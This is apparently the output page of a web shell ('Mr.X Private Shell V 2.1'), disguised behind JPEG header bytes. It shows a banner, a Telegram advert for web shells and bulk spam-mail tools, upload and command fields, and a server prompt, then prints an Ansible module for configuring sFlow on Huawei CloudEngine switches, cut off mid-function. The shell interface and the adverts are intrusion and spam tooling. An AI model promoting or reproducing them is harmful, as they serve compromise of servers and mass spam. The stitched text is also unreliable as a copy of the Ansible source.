����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

DOCUMENTATION = '''
---
module: ce_sflow
short_description: Manages sFlow configuration on HUAWEI CloudEngine switches.
description:
    - Configure Sampled Flow (sFlow) to monitor traffic on an interface in real time,
      detect abnormal traffic, and locate the source of attack traffic,
      ensuring stable running of the network.
author: QijunPan (@QijunPan)
notes:
    - This module requires the netconf system service be enabled on the remote device being managed.
    - Recommended connection is C(netconf).
    - This module also works with C(local) connections for legacy playbooks.
options:
    agent_ip:
        description:
            - Specifies the IPv4/IPv6 address of an sFlow agent.
    source_ip:
        description:
            - Specifies the source IPv4/IPv6 address of sFlow packets.
    collector_id:
        description:
            - Specifies the ID of an sFlow collector. This ID is used when you specify
              the collector in subsequent sFlow configuration.
        choices: ['1', '2']
    collector_ip:
        description:
            - Specifies the IPv4/IPv6 address of the sFlow collector.
    collector_ip_vpn:
        description:
            - Specifies the name of a VPN instance.
              The value is a string of 1 to 31 case-sensitive characters, spaces not supported.
              When double quotation marks are used around the string, spaces are allowed in the string.
              The value C(_public_) is reserved and cannot be used as the VPN instance name.
    collector_datagram_size:
        description:
            - Specifies the maximum length of sFlow packets sent from an sFlow agent to an sFlow collector.
              The value is an integer, in bytes. It ranges from 1024 to 8100. The default value is 1400.
    collector_udp_port:
        description:
            - Specifies the UDP destination port number of sFlow packets.
              The value is an integer that ranges from 1 to 65535. The default value is 6343.
    collector_meth:
        description:
            - Configures the device to send sFlow packets through service interfaces,
              enhancing the sFlow packet forwarding capability.
              The enhanced parameter is optional. No matter whether you configure the enhanced mode,
              the switch determines to send sFlow packets through service cards or management port
              based on the routing information on the collector.
              When the value is meth, the device forwards sFlow packets at the control plane.
              When the value is enhanced, the device forwards sFlow packets at the forwarding plane to
              enhance the sFlow packet forwarding capacity.
        choices: ['meth', 'enhanced']
    collector_description:
        description:
            - Specifies the description of an sFlow collector.
              The value is a string of 1 to 255 case-sensitive characters without spaces.
    sflow_interface:
        description:
            - Full name of interface for Flow Sampling or Counter.
              It must be a physical interface, Eth-Trunk, or Layer 2 subinterface.
    sample_collector:
        description:
            -  Indicates the ID list of the collector.
    sample_rate:
        description:
            - Specifies the flow sampling rate in the format 1/rate.
              The value is an integer and ranges from 1 to 4294967295. The default value is 8192.
    sample_length:
        description:
            - Specifies the maximum length of sampled packets.
              The value is an integer and ranges from 18 to 512, in bytes. The default value is 128.
    sample_direction:
        description:
            - Enables flow sampling in the inbound or outbound direction.
        choices: ['inbound', 'outbound', 'both']
    counter_collector:
        description:
            - Indicates the ID list of the counter collector.
    counter_interval:
        description:
            - Indicates the counter sampling interval.
              The value is an integer that ranges from 10 to 4294967295, in seconds. The default value is 20.
    export_route:
        description:
            - Configures the sFlow packets sent by the switch not to carry routing information.
        choices: ['enable', 'disable']
    state:
        description:
            - Determines whether the config should be present or not
              on the device.
        default: present
        choices: ['present', 'absent']
'''

EXAMPLES = '''
---

- name: Sflow module test
  hosts: ce128
  connection: local
  gather_facts: no
  vars:
    cli:
      host: "{{ inventory_hostname }}"
      port: "{{ ansible_ssh_port }}"
      username: "{{ username }}"
      password: "{{ password }}"
      transport: cli

  tasks:
  - name: Configuring sFlow Agent
    community.network.ce_sflow:
      agent_ip: 6.6.6.6
      provider: '{{ cli }}'

  - name: Configuring sFlow Collector
    community.network.ce_sflow:
      collector_id: 1
      collector_ip: 7.7.7.7
      collector_ip_vpn: vpn1
      collector_description: Collector1
      provider: '{{ cli }}'

  - name: Configure flow sampling.
    community.network.ce_sflow:
      sflow_interface: 10GE2/0/2
      sample_collector: 1
      sample_direction: inbound
      provider: '{{ cli }}'

  - name: Configure counter sampling.
    community.network.ce_sflow:
      sflow_interface: 10GE2/0/2
      counter_collector: 1
      counter_interval: 1000
      provider: '{{ cli }}'
'''

RETURN = '''
proposed:
    description: k/v pairs of parameters passed into module
    returned: verbose mode
    type: dict
    sample: {"agent_ip": "6.6.6.6", "state": "present"}
existing:
    description: k/v pairs of existing configuration
    returned: verbose mode
    type: dict
    sample: {"agent": {}}
end_state:
    description: k/v pairs of configuration after module execution
    returned: verbose mode
    type: dict
    sample: {"agent": {"family": "ipv4", "ipv4Addr": "1.2.3.4", "ipv6Addr": null}}
updates:
    description: commands sent to the device
    returned: always
    type: list
    sample: ["sflow agent ip 6.6.6.6"]
changed:
    description: check to see if a change was made on the device
    returned: always
    type: bool
    sample: true
'''

import re
from xml.etree import ElementTree
from ansible.module_utils.basic import AnsibleModule
from ansible_collections.community.network.plugins.module_utils.network.cloudengine.ce import get_nc_config, set_nc_config, ce_argument_spec, check_ip_addr

CE_NC_GET_SFLOW = """
<filter type="subtree">
<sflow xmlns="http://www.huawei.com/netconf/vrp" content-version="1.0" format-version="1.0">
    <sources>
        <source>
            <family></family>
            <ipv4Addr></ipv4Addr>
            <ipv6Addr></ipv6Addr>
        </source>
    </sources>
    <agents>
        <agent>
            <family></family>
            <ipv4Addr></ipv4Addr>
            <ipv6Addr></ipv6Addr>
        </agent>
    </agents>
    <collectors>
        <collector>
            <collectorID></collectorID>
            <family></family>
            <ipv4Addr></ipv4Addr>
            <ipv6Addr></ipv6Addr>
            <vrfName></vrfName>
            <datagramSize></datagramSize>
            <port></port>
            <description></description>
            <meth></meth>
        </collector>
    </collectors>
    <samplings>
        <sampling>
            <ifName>%s</ifName>
            <collectorID></collectorID>
            <direction></direction>
            <length></length>
            <rate></rate>
        </sampling>
    </samplings>
    <counters>
        <counter>
            <ifName>%s</ifName>
            <collectorID></collectorID>
            <interval></interval>
        </counter>
    </counters>
    <exports>
        <export>
            <ExportRoute></ExportRoute>
        </export>
    </exports>
</sflow>
</filter>
"""


def is_config_exist(cmp_cfg, test_cfg):
    """is configuration exist?"""

    if not cmp_cfg or not test_cfg:
        return False

    return bool(test_cfg in cmp_cfg)


def is_valid_ip_vpn(vpname):
    """check ip vpn"""

    if not vpname:
        return False

    if vpname == "_public_":
        return False

    if len(vpname) < 1 or len(vpname) > 31:
        return False

    return True


def get_ip_version(address):
    """get ip version fast"""

    if not address:
        return None

    if address.count(':') >= 2 and address.count(":") <= 7:
        return "ipv6"
    elif address.count('.') == 3:
        return "ipv4"
    else:
        return None


def get_interface_type(interface):
    """get the type of interface, such as 10GE, ETH-TRUNK, VLANIF..."""

    if interface is None:
        return None

    if interface.upper().startswith('GE'):
        iftype = 'ge'
    elif interface.upper().startswith('10GE'):
        iftype = '10ge'
    elif interface.upper().startswith('25GE'):
        iftype = '25ge'
    elif interface.upper().startswith('4X10GE'):
        iftype = '4x10ge'
    elif interface.upper().startswith('40GE'):
        iftype = '40ge'
    elif interface.upper().startswith('100GE'):
        iftype = '100ge'
    elif interface.upper().startswith('VLANIF'):
        iftype = 'vlanif'
    elif interface.upper().startswith('LOOPBACK'):
        iftype = 'loopback'
    elif interface.upper().startswith('METH'):
        iftype = 'meth'
    elif interface.upper().startswith('ETH-TRUNK'):
        iftype = 'eth-trunk'
    elif interface.upper().startswith('VBDIF'):
        iftype = 'vbdif'
    elif interface.upper().startswith('NVE'):
        iftype = 'nve'
    elif interface.upper().startswith('TUNNEL'):
        iftype = 'tunnel'
    elif interface.upper().startswith('ETHERNET'):
        iftype = 'ethernet'
    elif interface.upper().startswith('FCOE-PORT'):
        iftype = 'fcoe-port'
    elif interface.upper().startswith('FABRIC-PORT'):
        iftype = 'fabric-port'
    elif interface.upper().startswith('STACK-PORT'):
        iftype = 'stack-port'
    elif interface.upper().startswith('NULL'):
        iftype = 'null'
    else:
        return None

    return iftype.lower()


class Sflow(object):
    """Manages sFlow"""

    def __init__(self, argument_spec):
        self.spec = argument_spec
        self.module = None
        self.__init_module__()

        # module input info
        self.agent_ip = self.module.params['agent_ip']
        self.agent_version = None
        self.source_ip = self.module.params['source_ip']
        self.source_version = None
        self.export_route = self.module.params['export_route']
        self.collector_id = self.module.params['collector_id']
        self.collector_ip = self.module.params['collector_ip']
        self.collector_version = None
        self.collector_ip_vpn = self.module.params['collector_ip_vpn']
        self.collector_datagram_size = self.module.params['collector_datagram_size']
        self.collector_udp_port = self.module.params['collector_udp_port']
        self.collector_meth = self.module.params['collector_meth']
        self.collector_description = self.module.params['collector_description']
        self.sflow_interface = self.module.params['sflow_interface']
        self.sample_collector = self.module.params['sample_collector'] or list()
        self.sample_rate = self.module.params['sample_rate']
        self.sample_length = self.module.params['sample_length']
        self.sample_direction = self.module.params['sample_direction']
        self.counter_collector = self.module.params['counter_collector'] or list()
        self.counter_interval = self.module.params['counter_interval']
        self.state = self.module.params['state']

        # state
        self.config = ""  # current config
        self.sflow_dict = dict()
        self.changed = False
        self.updates_cmd = list()
        self.commands = list()
        self.results = dict()
        self.proposed = dict()
        self.existing = dict()
        self.end_state = dict()

    def __init_module__(self):
        """init module"""

        required_together = [("collector_id", "collector_ip")]
        self.module = AnsibleModule(
            argument_spec=self.spec, required_together=required_together, supports_check_mode=True)

    def check_response(self, con_obj, xml_name):
        """Check if response message is already succeed"""

        xml_str = con_obj.xml
        if "<ok/>" not in xml_str:
            self.module.fail_json(msg='Error: %s failed.' % xml_name)

    def netconf_set_config(self, xml_str, xml_name):
        """netconf set config"""

        rcv_xml = set_nc_config(self.module, xml_str)
        if "<ok/>" not in rcv_xml:
            self.module.fail_json(msg='Error: %s failed.' % xml_name)

    def get_sflow_dict(self):
        """ sflow config dict"""

        sflow_dict = dict(source=list(), agent=dict(), collector=list(),
                          sampling=dict(), counter=dict(), export=dict())
        conf_str = CE_NC_GET_SFLOW % (
            self.sflow_interface, self.sflow_interface)

        if not self.collector_meth:
            conf_str = conf_str.replace("<meth></meth>", "")

        rcv_xml = get_nc_config(self.module, conf_str)

        if "<data/>" in rcv_xml:
            return sflow_dict

        xml_str = rcv_xml.replace('\r', '').replace('\n', '').\
            replace('xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"', "").\
            replace('xmlns="http://www.huawei.com/netconf/vrp"', "")
        root = ElementTree.fromstring(xml_str)

        # get source info
        srcs = root.findall("sflow/sources/source")
        if srcs:
            for src in srcs:
                attrs = dict()
                for attr in src:
                    if attr.tag in ["family", "ipv4Addr", "ipv6Addr"]:
                        attrs[attr.tag] = attr.text
                sflow_dict["source"].append(attrs)

        # get agent info
        agent = root.find("sflow/agents/agent")
        if agent:
            for attr in agent:
                if attr.tag in ["family", "ipv4Addr", "ipv6Addr"]:
                    sflow_dict["agent"][attr.tag] = attr.text

        # get collector info
        collectors = root.findall("sflow/collectors/collector")
        if collectors:
            for collector in collectors:
                attrs = dict()
                for attr in collector:
                    if attr.tag in ["collectorID", "family", "ipv4Addr", "ipv6Addr",
                                    "vrfName", "datagramSize", "port", "description", "meth"]:
                        attrs[attr.tag] = attr.text
                sflow_dict["collector"].append(attrs)

        # get sampling info
        sample = root.find("sflow/samplings/sampling")
        if sample:
            for attr in sample:
                if attr.tag in ["ifName", "collectorID", "direction", "length", "rate"]:
                    sflow_dict["sampling"][attr.tag] = attr.text

        # get counter info
        counter = root.find("sflow/counters/counter")
        if counter:
            for attr in counter:
                if attr.tag in ["ifName", "collectorID", "interval"]:
                    sflow_dict["counter"][attr.tag] = attr.text

        # get export info
        export = root.find("sflow/exports/export")
        if export:
            for attr in export:
                if attr.tag == "ExportRoute":
                    sflow_dict["export"][attr.tag] = attr.text

        return sflow_dict

    def config_agent(self):
        """configures sFlow agent"""

        xml_str = ''
        if not self.agent_ip:
            return xml_str

        self.agent_version = get_ip_version(self.agent_ip)
        if not self.agent_version:
            self.module.fail_json(msg="Error: agent_ip is invalid.")

        if self.state == "present":
            if self.agent_ip != self.sflow_dict["agent"].get("ipv4Addr") \
                    and self.agent_ip != self.sflow_dict["agent"].get("ipv6Addr"):
                xml_str += '<agents><agent operation="merge">'
                xml_str += '<family>%s</family>' % self.agent_version
                if self.agent_version == "ipv4":
                    xml_str += '<ipv4Addr>%s</ipv4Addr>' % self.agent_ip
                    self.updates_cmd.append("sflow agent ip %s" % self.agent_ip)
                else:
                    xml_str += '<ipv6Addr>%s</ipv6Addr>' % self.agent_ip
                    self.updates_cmd.append("sflow agent ipv6 %s" % self.agent_ip)
                xml_str += '</agent></agents>'

        else:
            if self.agent_ip == self.sflow_dict["agent"].get("ipv4Addr") \
                    or self.agent_ip == self.sflow_dict["agent"].get("ipv6Addr"):
                xml_str += '<agents><agent operation="delete"></agent></agents>'
                self.updates_cmd.append("undo sflow agent")

        return xml_str

    def config_source(self):
        """configures the source IP address for sFlow packets"""

        xml_str = ''
        if not self.source_ip:
            return xml_str

        self.source_version = get_ip_version(self.source_ip)
        if not self.source_version:
            self.module.fail_json(msg="Error: source_ip is invalid.")

        src_dict = dict()
        for src in self.sflow_dict["source"]:
            if src.get("family") == self.source_version:
                src_dict = src
                break

        if self.state == "present":
            if self.source_ip != src_dict.get("ipv4Addr") \
                    and self.source_ip != src_dict.get("ipv6Addr"):
                xml_str += '<sources><source operation="merge">'
                xml_str += '<family>%s</family>' % self.source_version
                if self.source_version == "ipv4":
                    xml_str += '<ipv4Addr>%s</ipv4Addr>' % self.source_ip
                    self.updates_cmd.append("sflow source ip %s" % self.source_ip)
                else:
                    xml_str += '<ipv6Addr>%s</ipv6Addr>' % self.source_ip
                    self.updates_cmd.append(
                        "sflow source ipv6 %s" % self.source_ip)
                xml_str += '</source ></sources>'
        else:
            if self.source_ip == src_dict.get("ipv4Addr"):
                xml_str += '<sources><source operation="delete"><family>ipv4</family></source ></sources>'
                self.updates_cmd.append("undo sflow source ip %s" % self.source_ip)
            elif self.source_ip == src_dict.get("ipv6Addr"):
                xml_str += '<sources><source operation="delete"><family>ipv6</family></source ></sources>'
                self.updates_cmd.append("undo sflow source ipv6 %s" % self.source_ip)

        return xml_str

    def config_collector(self):
        """creates an sFlow collector and sets or modifies optional parameters for the sFlow collector"""

        xml_str = ''
        if not self.collector_id:
            return xml_str

        if self.state == "present" and not self.collector_ip:
            return xml_str

        if self.collector_ip:
            self.collector_version = get_ip_version(self.collector_ip)
            if not self.collector_version:
                self.module.fail_json(msg="Error: collector_ip is invalid.")

        # get collector dict
        exist_dict = dict()
        for collector in self.sflow_dict["collector"]:
            if collector.get("collectorID") == self.collector_id:
                exist_dict = collector
                break

        change = False
        if self.state == "present":
            if not exist_dict:
                change = True
            elif self.collector_version != exist_dict.get("family"):
                change = True
            elif self.collector_version == "ipv4" and self.collector_ip != exist_dict.get("ipv4Addr"):
                change = True
            elif self.collector_version == "ipv6" and self.collector_ip != exist_dict.get("ipv6Addr"):
                change = True
            elif self.collector_ip_vpn and self.collector_ip_vpn != exist_dict.get("vrfName"):
                change = True
            elif not self.collector_ip_vpn and exist_dict.get("vrfName") != "_public_":
                change = True
            elif self.collector_udp_port and self.collector_udp_port != exist_dict.get("port"):
                change = True
            elif not self.collector_udp_port and exist_dict.get("port") != "6343":
                change = True
            elif self.collector_datagram_size and self.collector_datagram_size != exist_dict.get("datagramSize"):
                change = True
            elif not self.collector_datagram_size and exist_dict.get("datagramSize") != "1400":
                change = True
            elif self.collector_meth and self.collector_meth != exist_dict.get("meth"):
                change = True
            elif not self.collector_meth and exist_dict.get("meth") and exist_dict.get("meth") != "meth":
                change = True
            elif self.collector_description and self.collector_description != exist_dict.get("description"):
                change = True
            elif not self.collector_description and exist_dict.get("description"):
                change = True
            else:
                pass
        else:  # absent
            # collector not exist
            if not exist_dict:
                return xml_str
            if self.collector_version and self.collector_version != exist_dict.get("family"):
                return xml_str
            if self.collector_version == "ipv4" and self.collector_ip != exist_dict.get("ipv4Addr"):
                return xml_str
            if self.collector_version == "ipv6" and self.collector_ip != exist_dict.get("ipv6Addr"):
                return xml_str
            if self.collector_ip_vpn and self.collector_ip_vpn != exist_dict.get("vrfName"):
                return xml_str
            if self.collector_udp_port and self.collector_udp_port != exist_dict.get("port"):
                return xml_str
            if self.collector_datagram_size and self.collector_datagram_size != exist_dict.get("datagramSize"):
                return xml_str
            if self.collector_meth and self.collector_meth != exist_dict.get("meth"):
                return xml_str
            if self.collector_description and self.collector_description != exist_dict.get("description"):
                return xml_str
            change = True

        if not change:
            return xml_str

        # update or delete
        if self.state == "absent":
            xml_str += '<collectors><collector operation="delete"><collectorID>%s</collectorID>' % self.collector_id
            self.updates_cmd.append("undo collector %s" % self.collector_id)
        else:
            xml_str += '<collectors><collector operation="merge"><collectorID>%s</collectorID>' % self.collector_id
            cmd = "sflow collector %s" % self.collector_id
            xml_str += '<family>%s</family>' % self.collector_version
            if self.collector_version == "ipv4":
                cmd += " ip %s" % self.collector_ip
                xml_str += '<ipv4Addr>%s</ipv4Addr>' % self.collector_ip
            else:
                cmd += " ipv6 %s" % self.collector_ip
                xml_str += '<ipv6Addr>%s</ipv6Addr>' % self.collector_ip
            if self.collector_ip_vpn:
                cmd += " vpn-instance %s" % self.collector_ip_vpn
                xml_str += '<vrfName>%s</vrfName>' % self.collector_ip_vpn
            if self.collector_datagram_size:
                cmd += " length %s" % self.collector_datagram_size
                xml_str += '<datagramSize>%s</datagramSize>' % self.collector_datagram_size
            if self.collector_udp_port:
                cmd += " udp-port %s" % self.collector_udp_port
                xml_str += '<port>%s</port>' % self.collector_udp_port
            if self.collector_description:
                cmd += " description %s" % self.collector_description
                xml_str += '<description>%s</description>' % self.collector_description
            else:
                xml_str += '<description></description>'
            if self.collector_meth:
                if self.collector_meth == "enhanced":
                    cmd += " enhanced"
                xml_str += '<meth>%s</meth>' % self.collector_meth
            self.updates_cmd.append(cmd)

        xml_str += "</collector></collectors>"

        return xml_str

    def config_sampling(self):
        """configure sflow sampling on an interface"""

        xml_str = ''
        if not self.sflow_interface:
            return xml_str

        if not self.sflow_dict["sampling"] and self.state == "absent":
            return xml_str

        self.updates_cmd.append("interface %s" % self.sflow_interface)
        if self.state == "present":
            xml_str += '<samplings><sampling operation="merge"><ifName>%s</ifName>' % self.sflow_interface
        else:
            xml_str += '<samplings><sampling operation="delete"><ifName>%s</ifName>' % self.sflow_interface

        # sample_collector
        if self.sample_collector:
            if self.sflow_dict["sampling"].get("collectorID") \
                    and self.sflow_dict["sampling"].get("collectorID") != "invalid":
                existing = self.sflow_dict["sampling"].get("collectorID").split(',')
            else:
                existing = list()

            if self.state == "present":
                diff = list(set(self.sample_collector) - set(existing))
                if diff:
                    self.updates_cmd.append(
                        "sflow sampling collector %s" % ' '.join(diff))
                    new_set = list(self.sample_collector + existing)
                    xml_str += '<collectorID>%s</collectorID>' % ','.join(list(set(new_set)))
            else:
                same = list(set(self.sample_collector) & set(existing))
                if same:
                    self.updates_cmd.append(
                        "undo sflow sampling collector %s" % ' '.join(same))
                    xml_str += '<collectorID>%s</collectorID>' % ','.join(list(set(same)))

        # sample_rate
        if self.sample_rate:
            exist = bool(self.sample_rate == self.sflow_dict["sampling"].get("rate"))
            if self.state == "present" and not exist:
                self.updates_cmd.append(
                    "sflow sampling rate %s" % self.sample_rate)
                xml_str += '<rate>%s</rate>' % self.sample_rate
            elif self.state == "absent" and exist:
                self.updates_cmd.append(
                    "undo sflow sampling rate %s" % self.sample_rate)
                xml_str += '<rate>%s</rate>' % self.sample_rate

        # sample_length
        if self.sample_length:
            exist = bool(self.sample_length == self.sflow_dict["sampling"].get("length"))
            if self.state == "present" and not exist:
                self.updates_cmd.append(
                    "sflow sampling length %s" % self.sample_length)
                xml_str += '<length>%s</length>' % self.sample_length
            elif self.state == "absent" and exist:
                self.updates_cmd.append(
                    "undo sflow sampling length %s" % self.sample_length)
                xml_str += '<length>%s</length>' % self.sample_length

        # sample_direction
        if self.sample_direction:
            direction = list()
            if self.sample_direction == "both":
                direction = ["inbound", "outbound"]
            else:
                direction.append(self.sample_direction)
            existing = list()
            if self.sflow_dict["sampling"].get("direction"):
                if self.sflow_dict["sampling"].get("direction") == "both":
                    existing = ["inbound", "outbound"]
                else:
                    existing.append(
                        self.sflow_dict["sampling"].get("direction"))

            if self.state == "present":
                diff = list(set(direction) - set(existing))
                if diff:
                    new_set = list(set(direction + existing))
                    self.updates_cmd.append(
                        "sflow sampling %s" % ' '.join(diff))
                    if len(new_set) > 1:
                        new_dir = "both"
                    else:
                        new_dir = new_set[0]
                    xml_str += '<direction>%s</direction>' % new_dir
            else:
                same = list(set(existing) & set(direction))
                if same:
                    self.updates_cmd.append("undo sflow sampling %s" % ' '.join(same))
                    if len(same) > 1:
                        del_dir = "both"
                    else:
                        del_dir = same[0]
                    xml_str += '<direction>%s</direction>' % del_dir

        if xml_str.endswith("</ifName>"):
            self.updates_cmd.pop()
            return ""

        xml_str += '</sampling></samplings>'

        return xml_str

    def config_counter(self):
        """configures sflow counter on an interface"""

        xml_str = ''
        if not self.sflow_interface:
            return xml_str

        if not self.sflow_dict["counter"] and self.state == "absent":
            return xml_str

        self.updates_cmd.append("interface %s" % self.sflow_interface)
        if self.state == "present":
            xml_str += '<counters><counter operation="merge"><ifName>%s</ifName>' % self.sflow_interface
        else:
            xml_str += '<counters><counter operation="delete"><ifName>%s</ifName>' % self.sflow_interface

        # counter_collector
        if self.counter_collector:
            if self.sflow_dict["counter"].get("collectorID") \
                    and self.sflow_dict["counter"].get("collectorID") != "invalid":
                existing = self.sflow_dict["counter"].get("collectorID").split(',')
            else:
                existing = list()

            if self.state == "present":
                diff = list(set(self.counter_collector) - set(existing))
                if diff:
                    self.updates_cmd.append("sflow counter collector %s" % ' '.join(diff))
                    new_set = list(self.counter_collector + existing)
                    xml_str += '<collectorID>%s</collectorID>' % ','.join(list(set(new_set)))
            else:
                same = list(set(self.counter_collector) & set(existing))
                if same:
                    self.updates_cmd.append(
                        "undo sflow counter collector %s" % ' '.join(same))
                    xml_str += '<collectorID>%s</collectorID>' % ','.join(list(set(same)))

        # counter_interval
        if self.counter_interval:
            exist = bool(self.counter_interval == self.sflow_dict["counter"].get("interval"))
            if self.state == "present" and not exist:
                self.updates_cmd.append(
                    "sflow counter interval %s" % self.counter_interval)
                xml_str += '<interval>%s</interval>' % self.counter_interval
            elif self.state == "absent" and exist:
                self.updates_cmd.append(
                    "undo sflow counter interval %s" % self.counter_interval)
                xml_str += '<interval>%s</interval>' % self.counter_interval

        if xml_str.endswith("</ifName>"):
            self.updates_cmd.pop()
            return ""

        xml_str += '</counter></counters>'

        return xml_str

    def config_export(self):
        """configure sflow export"""

        xml_str = ''
        if not self.export_route:
            return xml_str

        if self.export_route == "enable":
            if self.sflow_dict["export"] and self.sflow_dict["export"].get("ExportRoute") == "disable":
                xml_str = '<exports><export operation="delete"><ExportRoute>disable</ExportRoute></export></exports>'
                self.updates_cmd.append("undo sflow export extended-route-data disable")
        else:   # disable
            if not self.sflow_dict["export"] or self.sflow_dict["export"].get("ExportRoute") != "disable":
                xml_str = '<exports><export operation="create"><ExportRoute>disable</ExportRoute></export></exports>'
                self.updates_cmd.append("sflow export extended-route-data disable")

        return xml_str

    def netconf_load_config(self, xml_str):
        """load sflow config by netconf"""

        if not xml_str:
            return

        xml_cfg = """
            <config>
            <sflow xmlns="http://www.huawei.com/netconf/vrp" content-version="1.0" format-version="1.0">
            %s
            </sflow>
            </config>""" % xml_str

        self.netconf_set_config(xml_cfg, "SET_SFLOW")
        self.changed = True

    def check_params(self):
        """Check all input params"""

        # check agent_ip
        if self.agent_ip:
            self.agent_ip = self.agent_ip.upper()
            if not check_ip_addr(self.agent_ip):
                self.module.fail_json(msg="Error: agent_ip is invalid.")

        # check source_ip
        if self.source_ip:
            self.source_ip = self.source_ip.upper()
            if not check_ip_addr(self.source_ip):
                self.module.fail_json(msg="Error: source_ip is invalid.")

        # check collector
        if self.collector_id:
            # check collector_ip and collector_ip_vpn
            if self.collector_ip:
                self.collector_ip = self.collector_ip.upper()
                if not check_ip_addr(self.collector_ip):
                    self.module.fail_json(
                        msg="Error: collector_ip is invalid.")
                if self.collector_ip_vpn and not is_valid_ip_vpn(self.collector_ip_vpn):
                    self.module.fail_json(
                        msg="Error: collector_ip_vpn is invalid.")

            # check collector_datagram_size ranges from 1024 to 8100
            if self.collector_datagram_size:
                if not self.collector_datagram_size.isdigit():
                    self.module.fail_json(
                        msg="Error: collector_datagram_size is not digit.")
                if int(self.collector_datagram_size) < 1024 or int(self.collector_datagram_size) > 8100:
                    self.module.fail_json(
                        msg="Error: collector_datagram_size is not ranges from 1024 to 8100.")

            # check collector_udp_port ranges from 1 to 65535
            if self.collector_udp_port:
                if not self.collector_udp_port.isdigit():
                    self.module.fail_json(
                        msg="Error: collector_udp_port is not digit.")
                if int(self.collector_udp_port) < 1 or int(self.collector_udp_port) > 65535:
                    self.module.fail_json(
                        msg="Error: collector_udp_port is not ranges from 1 to 65535.")

            # check collector_description 1 to 255 case-sensitive characters
            if self.collector_description:
                if self.collector_description.count(" "):
                    self.module.fail_json(
                        msg="Error: collector_description should without spaces.")
                if len(self.collector_description) < 1 or len(self.collector_description) > 255:
                    self.module.fail_json(
                        msg="Error: collector_description is not ranges from 1 to 255.")

        # check sflow_interface
        if self.sflow_interface:
            intf_type = get_interface_type(self.sflow_interface)
            if not intf_type:
                self.module.fail_json(msg="Error: intf_type is invalid.")
            if intf_type not in ['ge', '10ge', '25ge', '4x10ge', '40ge', '100ge', 'eth-trunk']:
                self.module.fail_json(
                    msg="Error: interface %s is not support sFlow." % self.sflow_interface)

            # check sample_collector
            if self.sample_collector:
                self.sample_collector.sort()
                if self.sample_collector not in [["1"], ["2"], ["1", "2"]]:
                    self.module.fail_json(
                        msg="Error: sample_collector is invalid.")

            # check sample_rate ranges from 1 to 4294967295
            if self.sample_rate:
                if not self.sample_rate.isdigit():
                    self.module.fail_json(
                        msg="Error: sample_rate is not digit.")
                if int(self.sample_rate) < 1 or int(self.sample_rate) > 4294967295:
                    self.module.fail_json(
                        msg="Error: sample_rate is not ranges from 1 to 4294967295.")

            # check sample_length ranges from 18 to 512
            if self.sample_length:
                if not self.sample_length.isdigit():
                    self.module.fail_json(
                        msg="Error: sample_rate is not digit.")
                if int(self.sample_length) < 18 or int(self.sample_length) > 512:
                    self.module.fail_json(
                        msg="Error: sample_length is not ranges from 18 to 512.")

            # check counter_collector
            if self.counter_collector:
                self.counter_collector.sort()
                if self.counter_collector not in [["1"], ["2"], ["1", "2"]]:
                    self.module.fail_json(
                        msg="Error: counter_collector is invalid.")

            # counter_interval ranges from 10 to 4294967295
            if self.counter_interval:
                if not self.counter_interval.isdigit():
                    self.module.fail_json(
                        msg="Error: counter_interval is not digit.")
                if int(self.counter_interval) < 10 or int(self.counter_interval) > 4294967295:
                    self.module.fail_json(
                        msg="Error: sample_length is not ranges from 10 to 4294967295.")

    def get_proposed(self):
        """get proposed info"""

        # base config
        if self.agent_ip:
            self.proposed["agent_ip"] = self.agent_ip
        if self.source_ip:
            self.proposed["source_ip"] = self.source_ip
        if self.export_route:
            self.proposed["export_route"] = self.export_route
        if self.collector_id:
            self.proposed["collector_id"] = self.collector_id
            if self.collector_ip:
                self.proposed["collector_ip"] = self.collector_ip
                self.proposed["collector_ip_vpn"] = self.collector_ip_vpn
            if self.collector_datagram_size:
                self.proposed[
                    "collector_datagram_size"] = self.collector_datagram_size
            if self.collector_udp_port:
                self.proposed["collector_udp_port"] = self.collector_udp_port
            if self.collector_meth:
                self.proposed["collector_meth"] = self.collector_meth
            if self.collector_description:
                self.proposed[
                    "collector_description"] = self.collector_description

        # sample and counter config
        if self.sflow_interface:
            self.proposed["sflow_interface"] = self.sflow_interface
            if self.sample_collector:
                self.proposed["sample_collector"] = self.sample_collector
            if self.sample_rate:
                self.proposed["sample_rate"] = self.sample_rate
            if self.sample_length:
                self.proposed["sample_length"] = self.sample_length
            if self.sample_direction:
                self.proposed["sample_direction"] = self.sample_direction
            if self.counter_collector:
                self.proposed["counter_collector"] = self.counter_collector
            if self.counter_interval:
                self.proposed["counter_interval"] = self.counter_interval

        self.proposed["state"] = self.state

    def get_existing(self):
        """get existing info"""

        if not self.sflow_dict:
            return

        if self.agent_ip:
            self.existing["agent"] = self.sflow_dict["agent"]
        if self.source_ip:
            self.existing["source"] = self.sflow_dict["source"]
        if self.collector_id:
            self.existing["collector"] = self.sflow_dict["collector"]
        if self.export_route:
            self.existing["export"] = self.sflow_dict["export"]

        if self.sflow_interface:
            self.existing["sampling"] = self.sflow_dict["sampling"]
            self.existing["counter"] = self.sflow_dict["counter"]

    def get_end_state(self):
        """get end state info"""

        sflow_dict = self.get_sflow_dict()
        if not sflow_dict:
            return

        if self.agent_ip:
            self.end_state["agent"] = sflow_dict["agent"]
        if self.source_ip:
